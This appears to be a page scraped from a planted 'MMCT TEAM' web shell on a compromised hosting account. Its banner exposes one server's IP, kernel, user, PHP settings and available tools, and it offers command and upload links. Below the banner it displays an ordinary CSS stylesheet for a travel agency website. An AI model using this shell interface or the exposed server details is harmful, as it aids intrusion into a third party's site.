MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.144.20.66
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/alkareemtravel.com/css/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/alkareemtravel.com/css/taber-tab.css
#enquery h1 {
	font-size: 46px;
	color: #45DBE3;
	margin-top: 100px;
}
#enquery .heading {
	margin-bottom: 30px;
}
#enquery input {
	border-radius: 0;
	border: 1px solid #d6d6d6;
	color: #596169;
	font-size: 14px;
	margin: 0px 0px 12px 0;
	padding: 10px 15px;
	width: 100%;
	position: relative;
	background: transparent;
	z-index: 1;
}
#enquery label {
	color: #596169;
	font-size: 15px;
	position: absolute;
	left: 32px;
	top: 12px;
	width: auto !important;
	transition: font-size 0.3s ease, padding-top 0.3s ease;
	transform-style: preserve-3d;
	backface-visibility: hidden;
	padding: 0 !important;
}
#enquery input:focus + label {
	color: #5eacd6;
	font-size: 12px;
	margin-top: 10px;
	transition: margin-top 0.3s ease, font-size 0.3s ease;
	transform-style: preserve-3d;
	backface-visibility: hidden;
}
 #enquery input:valid {
 background: #fff;
}
#enquery .submit input {
	font-size: 18px;
	background: #45DBE3;
	color: #fff;
}
#enquery .input-group-addon {
	padding: 13px 22px;
	font-size: 17px;
	font-weight: 400;
	line-height: 1;
	color: #a5a5a5;
	text-align: center;
	background-color: transparent;
	border: none;
	border-radius: 4px;
	position: absolute;
	right: 1px;
	top: 0;
}
#enquery .input-group {
	position: relative;
	display: block;
	border-collapse: separate;
}
#field1 input, #field2 input {
	border-radius: 0;
	border: 1px solid #d6d6d6;
	color: #596169;
	font-size: 14px;
	margin: 0;
	padding: 4px 10px;
	/*width: auto !important;*/
	position: relative;
	background: transparent;
	z-index: 1;
	position: relative;
	text-align: center;
	/*left: 25px*/
}
#field1 .button_left, #field2 .button_left {
	background:#FFF;
	padding:4px 10px;
	border:1px solid #e2dede;
	position:absolute;
	z-index:2;
	left:0;
}
#field1 .button_right, #field2 .button_right {
	background:#FFF;
	padding:4px 10px;
	border:1px solid #e2dede;
	position:absolute;
	z-index:2;
	right:0;
	top:0;
}
#enquery.small, #enquery small {
	font-size: 85%;
	color: #949393;
	font-weight: 300;
}
#carousel-custom {
	width: 100%;
}
#carousel-custom .carousel-indicators {
	margin: 10px 0 0;
	overflow: auto;
	position: static;
	text-align: left;
	white-space: nowrap;
	width: 100%;
}
#carousel-custom .carousel-indicators li {
	background-color: transparent;
	-webkit-border-radius: 0;
	border-radius: 0;
	display: flex;
	height: auto;
	margin: 0 !important;
	width: 16%;
	float: left;
	align-items: center;
}
#carousel-custom .carousel-indicators li img {
	display: block;
	opacity: 0.5;
}
#carousel-custom .carousel-indicators li.active img {
	opacity: 1;
}
#carousel-custom .carousel-indicators li:hover img {
	opacity: 0.75;
}
#carousel-custom .carousel-outer {
	position: relative;
}
.carousel-control.left, .carousel-control.right {
	top: 42%;
	transform: translateY(-42%);
}
.carousel-control:focus, .carousel-control:hover {
	color: #e32127;
	text-decoration: none;
	filter: alpha(opacity=90);
	outline: 0;
	opacity: .9;
}
.carousel-control.left {
	background-image: none;
	width: 54px;
	height: 54px;
	left: 0;
	line-height: 58px;
	opacity: 1;
	background: rgba(255, 255, 255, 0.6196078431372549);
	text-shadow: none;
	border-radius: 0px 30px 30px 0px;
	-webkit-transition: all 0.2s ease-in-out 0s;
	-o-transition: all 0.2s ease-in-out 0s;
	transition: all 0.2s ease-in-out 0s;
}
.carousel-control.right {
	background-image: none;
	width: 54px;
	height: 54px;
	right: 0;
	line-height: 58px;
	opacity: 1;
	background: rgba(255, 255, 255, 0.6196078431372549);
	text-shadow: none;
	border-radius: 30px 0px 3px 30px;
	-webkit-transition: all 0.2s ease-in-out 0s;
	-o-transition: all 0.2s ease-in-out 0s;
	transition: all 0.2s ease-in-out 0s;
}
.glyphicon {
	position: relative;
	top: 1px;
	display: inline-block;
	font: normal normal normal 14px/1 FontAwesome;
	font-size: inherit;
	text-rendering: auto;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.icon-arrow-left:before {
	content: "\f053";
}
.icon-arrow-right:before {
	content: "\f054";
}
/*  bhoechie tab */
#navFixed {
	width: 260px;
}
.fixed {
	box-shadow: 0 2px 6px rgba(0, 0, 0, 0.2);
	padding: 4px 0;
	animation: slide-down 0.7s;
	opacity: 0.9;
}
.float-panel {
	width:100%;
	background:white;
	z-index:300;
	padding:30px 0;
	transform: translateZ(0);
	transition:all 0.5s; /* Effect for switching from .fixed to static */
}
.float-panel .content-area {
	margin:10px auto;
}
.float-panel a {
	font-size:16px;
	text-decoration:none;
	color:#444;
	display:inline-block;
	padding:10px 20px;
}
.float-panel .fa-gg {
	color:#F0595C;
	font-size:30px;
	vertical-align:middle;
	transition:all 1s;
}
/* Sticky Float Panel: class="float-panel fixed" */
    .fixed {
	box-shadow:0 2px 6px rgba(0, 0, 0, 0.2);
	padding:4px 0;
	animation:slide-down 0.7s;
	opacity:0.9;
}
.fixed .fa-gg {
	transform: rotate(360deg);
}
 @keyframes slide-down {
 0% {
 opacity: 0;
 transform: translateY(-100%);
}
 100% {
 opacity: 0.9;
 transform: translateY(0);
}
}
div.bhoechie-tab-container {
	z-index: 10;
	background-color: #ffffff;
	padding: 0 !important;
	border-radius: 0px;
	-moz-border-radius: 0px;
	/*border:1px solid #ddd;*/
  margin-top: 0px;
	margin-left:15px;
	/*  -webkit-box-shadow: 0 6px 12px rgba(0,0,0,.175);
  box-shadow: 0px 0px 0px 1px rgba(0,0,0,.175);
  -moz-box-shadow: 0 6px 12px rgba(0,0,0,.175);*/
  background-clip: padding-box;
	opacity: 0.97;
	filter: alpha(opacity=97);
}
div.bhoechie-tab-menu {
	padding-right: 0;
	padding-left: 0;
	padding-bottom: 0;
	width: 9.666667%;
}
div.bhoechie-tab {
	width: 90.333333%;
	border: 1px solid #efefef;
}
div.bhoechie-tab-menu div.list-group {
	margin-bottom: 0;
}
div.bhoechie-tab-menu div.list-group>a {
	margin-bottom: 0;
	padding: 20px 10px;
	margin-top: -1px;
	margin-right: -1px;
}
div.bhoechie-tab-menu div.list-group>a .glyphicon, div.bhoechie-tab-menu div.list-group>a .fa {
	color: #5A55A3;
}
div.bhoechie-tab-menu div.list-group>a:first-child {
	border-top-right-radius: 0;
	border-top-left-radius: 4px;
	-moz-border-top-right-radius: 0;
}
div.bhoechie-tab-menu div.list-group>a:last-child {
	border-bottom-right-radius: 0;
	-moz-border-bottom-right-radius: 0;
}
div.bhoechie-tab-menu div.list-group>a.active, div.bhoechie-tab-menu div.list-group>a.active .glyphicon, div.bhoechie-tab-menu div.list-group>a.active .fa {
	background-color: #0da6f8;
	background-image: #0da6f8;
	border-color:#0da6f8;
	color: #ffffff;
	transition: 300ms ease-in-out;
}
div.bhoechie-tab-menu div.list-group>a.active:before {
	content: '';
	position: absolute;
	left: -1px;
	top: -1px;
	border-left: 0;
	width: 5px;
	height: 100%;
}
div.bhoechie-tab-menu div.list-group>a.active:after {
	content: '';
	position: absolute;
	left: 100%;
	top: 50%;
	margin-top: -13px;
	border-left: 0;
	border-bottom: 13px solid transparent;
	border-top: 13px solid transparent;
	border-left: 10px solid #0da6f8;
	transition: 200ms ease-in-out;
}
div.bhoechie-tab-content {
	background-color: #ffffff;
	padding: 20px;
	min-height: 450px;
}
 div.bhoechie-tab div.bhoechie-tab-content:not(.active) {
 display: none;
}
.panel {
	margin-bottom: 0;
	background-color: #fff;
	border: none;
	border-radius: 4px;
	-webkit-box-shadow: none;
	box-shadow: none;
}
.panel-title {
	margin-top: 0;
	margin-bottom: 0;
	font-size: 16px;
	color: inherit;
	position: relative;
}
.panel-title:before {
	position: absolute;
	top: 100%;
	left: 15px;
	content: '';
	border-top: 8px solid #e3262c;
	border-right: 6px solid transparent;
	border-left: 6px solid transparent;
	z-index:2;
}
.panel-group {
	margin-bottom: 0;
}
.panel-body {
	padding: 0;
}
.panel-body .day_tittle {
	padding: 0 18px;
	background: #e32026;
}
.panel-body .day_tittle h4 {
	font-weight: 200;
	text-transform: uppercase;
	font-size: 15px;
	color: #FFF;
	font-family: 'Roboto-Medium';
	letter-spacing: 0.5px;
}
.col_colmn_sm {
	width: 100%;
	background: #fcfbfb;
	border: 1px solid #f5f4f4;
	padding: 20px;
}
.col_colmn_sm .box_tittle {
	width:100%
}
.col_colmn_sm .box_tittle h4 {
	text-transform: uppercase;
	margin-bottom: 0;
}
/*.col_colmn_sm .box_tittle h4,.col_colmn_sm .box_tittle i{
display:inline-block;
}*/
.col_colmn_sm .box_tittle i {
	width: 40px;
	height: 40px;
	line-height: 40px;
	text-align: center;
	background: #e8e8e8;
	font-size: 20px;
	color: #373737;
	border-radius: 100%;
	border: 2px solid #b7b7b7;
	margin-right: 10px;
	float: left;
}
.col_colmn_sm ul {
	margin: 0;
	padding: 0;
	display: flex;
	-webkit-display: flex;
	-ms-display: flex;
	flex-direction: row;
	column-count: 4;
}
.col_colmn_sm ul li {
	display:table-cell;
	list-style-type:none;
	width:20%;
	float:left;
	position:relative;
}
.col_colmn_sm ul li.large {
	width:80% !important
}
.col_colmn_sm ul li.large a {
	display:inline-block;
	font-size:20px;
	color:#3da6e0
}
.col_colmn_sm ul li.large span {
	text-transform:none;
	position:relative
}
.col_colmn_sm ul li.large span:before {
	position:absolute;
	left:0;
	height:14px;
	width:14px;
	background:#000;
}
.col_colmn_sm ul li:nth-child(3) {
 width: 33.333%;
 margin-right: 7%;
}
.col_colmn_sm ul li .img_view {
	width: 74px;
	display: inline-block;
	float: left;
	margin-right: 15px;
}
.col_colmn_sm ul li .img_view img {
	display:block;
	width:100%
}
.col_colmn_sm ul li i {
	width: 40px;
	height: 40px;
	background: #fff;
	color: #67b0d8;
	margin-right: 10px;
	float: left;
	line-height: 40px;
	text-align: center;
	border-radius: 100%;
	border: 1px solid #e4ebef;
}
.col_colmn_sm ul li span {
	text-transform:uppercase;
	font-size:16px;
}
.col_colmn_sm ul li small {
	font-size: 14px;
	color: #a9aaab;
	display:block;
}
.col_colmn_sm .hour {
	width: 100%;
	position:relative;
	text-align:center;
}
.col_colmn_sm .hour .line {
	position: absolute;
	top: 10px;
	left: 0;
	width: 100%;
	border-bottom: 1px solid #d0b9b9;
}
.col_colmn_sm .hour .line:before {
	left:0
}
.col_colmn_sm .hour .line:after {
	right:0
}
.col_colmn_sm .hour .line:before, .col_colmn_sm .hour .line:after {
	background:#d0b9b9;
	height:15px;
	width:15px;
	top:-7px;
	border-radius:100%;
	content:'';
	position:absolute;
}
.col_colmn_sm .hour i {
	float: none;
	position: relative;
	background: none;
	border: none;
	border-radius: 0;
	color: #999999;
	top: 0px;
	width: auto;
	height: auto;
	line-height: inherit;
}
.col_colmn_sm .hour small span {
	display:block;
	border:none;
	position:relative;
}
.panel-group .panel-heading+.panel-collapse>.list-group, .panel-group .panel-heading+.panel-collapse>.panel-body {
	border-top: none;
}
.panel-default>.panel-heading {
	color: #333;
	background-color: #fff;
	border-color: #e4e5e7;
	padding: 0;
	-webkit-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
	user-select: none;
}
.panel-default>.panel-heading a {
	display: block;
	padding-left: 30px;
	overflow: hidden;
	/*width: 360px;*/
    height: 40px;
	line-height: 40px;
	color: #FFF;
	font-size: 18px;
}
.panel-default>.panel-heading a span {
	padding: 0 15px;
	background: #FFF;
	position: relative;
	right: 0;
	float: right;
	color: #313131;
}
.panel-default>.panel-heading a:after {
	content: "";
	position: relative;
	top: 12px;
	left: -16px;
	display: inline-block;
	font: normal normal normal 14px/1 FontAwesome;
	font-size: inherit;
	font-style: normal;
	font-weight: 400;
	line-height: 1;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	float: left;
 transition: transform .25s linear;
 -webkit-transition: -webkit-transform .25s linear;
}
.panel-default>.panel-heading a[aria-expanded="true"] {
	background-color: #e32026;
}
.panel-default>.panel-heading a[aria-expanded="false"] {
	background-color: #e32c32;
}
.panel-default>.panel-heading a[aria-expanded="true"]:after {
	content: "\2212";
	-webkit-transform: rotate(180deg);
	transform: rotate(180deg);
}
.panel-default>.panel-heading a[aria-expanded="false"]:after {
	content: "\002b";
	-webkit-transform: rotate(90deg);
	transform: rotate(90deg);
}
.table-bordered>tbody>tr>td, .table-bordered>tbody>tr>th, .table-bordered>tfoot>tr>td, .table-bordered>tfoot>tr>th, .table-bordered>thead>tr>td, .table-bordered>thead>tr>th {
	border: 1px solid #d8d8d8 !important;
}
.table>thead>tr>th {
	padding: 8px;
	line-height: 1.42857143;
	vertical-align: top;
	border-top: 1px solid #ddd;
	font-weight: 500;
	font-size: 18px;
}
/* MY-TABS HORIZONTAL */

.tabs-h {
	display:flex;
	flex-wrap:wrap;
	justify-content:center
}
.list-group-item {
	position: relative;
	display: block;
	padding: 10px 15px;
	margin-bottom: -1px;
	background-color: #fff;
	border: 1px solid #efefef;
}
.tabs-h label {
	position:relative;
	order:1;
	width:calc(100% / 5);/*padding:15px 0 20px;*/
	padding:0px 0 20px;
	background-color:transparent;
	margin-bottom:0;
	cursor:pointer;
	text-align:center;
	transition:background-color 500ms ease-in-out
}
.tabs-h label > img {
	width:50px;
	height:auto;
	filter:saturate(0);
	transition:all 500ms ease-in-out
}
.tabs-h label > p {
padding: 15px 10px 0;
    margin: 0;
    /* font-family: sans-serif; */
    font-size: 1.1em;
    color: #4e4e4e;
    transition: all 500ms ease-in-out;
}
.tabs-h label:hover, .tabs-h label.active {
	background-color:rgba(0, 0, 0, .03)
}
.tabs-h label:hover > img {
	filter:saturate(1)
}
.tabs-h label:hover > p {
	color:#0da6f8
}
.tabs-h .tab-content {
	order:2;
	width:100%;/*padding:0;*/
	margin:0;
	display:none;
	padding:15px 0;
	min-height: 550px;
}
.tabs-h .tab-content > div {/*display:flex;*/
	flex-direction:row;
	flex-wrap:wrap;
	align-items:stretch;
	background-color:#fff
}
.tabs-h .tab-content > div h3 {
	text-transform:uppercase
}
.tabs-h .tab-content > div h4 {
	text-transform: uppercase;
	margin-top: 0;
	font-size: 16px;
	margin-bottom: 10px;
	line-height: 20px;
}
/*.tabs-h .tab-content > div > div {width:50%}*/
.tabs-h .tab-content > .reverse-tab > .txt-tab {
	order:2
}
.tabs-h .txt-tab {
	display:flex;
	flex-direction:row;
	flex-wrap:wrap;
	align-items:center;/*padding:4vh calc(2vw + 15px);*/
	min-height:25vh
}
.tabs-h > input {
	display:none
}
.tabs-h > input + label::after {
content:"";
position:absolute;
left:50%;
bottom:0;
transform:translateX(-50%);
width:100%;
height:1px;
background-color:transparent;
transition:all 500ms ease
}
.tabs-h > input:checked + label {
	background-color:rgba(0, 0, 0, .03)
}
.tabs-h > input:checked + label::after {
height:5px;
background-color:#0da6f8
}
.tabs-h > input:checked + label > img {
	filter:saturate(1)
}
.tabs-h > input:checked + label > p {
	color:#0da6f8
}
.tabs-h > input:checked + label + .tab-content {
	display:block
}
 .tabs-h [class*="img-tab"] {
background-repeat:no-repeat;
background-size:cover;
background-position:50%;
min-height:35vh
}
.tabs-h .img-tab1 {
	background-image:url(../../heuze.site-privilege.pagesjaunes.fr/wp-content/uploads/sites/6851/2018/11/37786.jpg)
}
.tabs-h .img-tab2 {
	background-image:url(../../heuze.site-privilege.pagesjaunes.fr/wp-content/uploads/sites/6851/2018/11/43251.jpg)
}
.tabs-h .img-tab3 {
	background-image:url(../../heuze.site-privilege.pagesjaunes.fr/wp-content/uploads/sites/6851/2018/11/hake-1106698_1920-1.jpg)
}
.tabs-h .img-tab4 {
	background-image:url(../../heuze.site-privilege.pagesjaunes.fr/wp-content/uploads/sites/6851/2018/11/beer-1513436_1920.jpg)
}
.tabs-h .img-tab5 {
	background-image:url(../../heuze.site-privilege.pagesjaunes.fr/wp-content/uploads/sites/6851/2018/11/food-3808953_1920.jpg)
}
.tabs-h .img-tab6 {
	background-image:url(../../heuze.site-privilege.pagesjaunes.fr/wp-content/uploads/sites/6851/2018/11/40122.jpg)
}
.tabs-h .img-tab7 {
	background-image:url(../../heuze.site-privilege.pagesjaunes.fr/wp-content/uploads/sites/6851/2018/11/cruise-ship-3808997_1920.jpg)
}
.tabs-h .img-tab8 {
	background-image:url(../../heuze.site-privilege.pagesjaunes.fr/wp-content/uploads/sites/6851/2018/11/40419.jpg)
}
 @media only screen and (max-width:1239px) {
.tabs-h label {
width:calc(100% / 4)
}
}
 @media only screen and (max-width:959px) {
.tabs-h .tab-content > div > div {
width:100%
}
.tabs-h .tab-content > .reverse-tab > .txt-tab {
order:0
}
}
 @media only screen and (max-width:767px) {
 .tabs-h .tab-content {
    order: 2;
    width: 100%;
    /* padding: 0; */
    margin: 0;
    display: none;
    padding: 15px 0;
    min-height:100%;
}
.tabs-h label {
width:calc(100% / 2);
padding:15px 0
}
.tabs-h label > img {
display:none
}
.tabs-h label > p {
padding:0
}
.tabs-h [class*="img-tab"] {
min-height:25vh
}

}
 @media only screen and (max-width:480px) {
.tabs-h label {
width:50%
}
}
/* FOR THE DEMO */

* {
	box-sizing:border-box
}
body {
	font-family:sans-serif
}
h3, p {
	margin-top:0
}
.tabs-v {
	margin-bottom:10%
}
.dn {
	display:none!important
}
.my-btn-container {
	line-height:0;
	margin-top:15px
}
.my-btn {
	position:relative;
	display:inline-block;
	padding:15px 25px;
	border-style:solid;
	border-width:2px;
	border-radius:2px;
	box-sizing:border-box;
	transition:all 350ms ease-in-out;
	font-size:1em;
	line-height:1;
	text-decoration:none;
	text-align:center;
	color:#151515;
	background-color:transparent;
	border-color:#151515
}
.my-btn:hover {
	color:#fff;
	background-color:#0ca6f9;
	border-color:#0ca6f9
}
:root {
--c1:#63aed7;
}

MMCT - 2023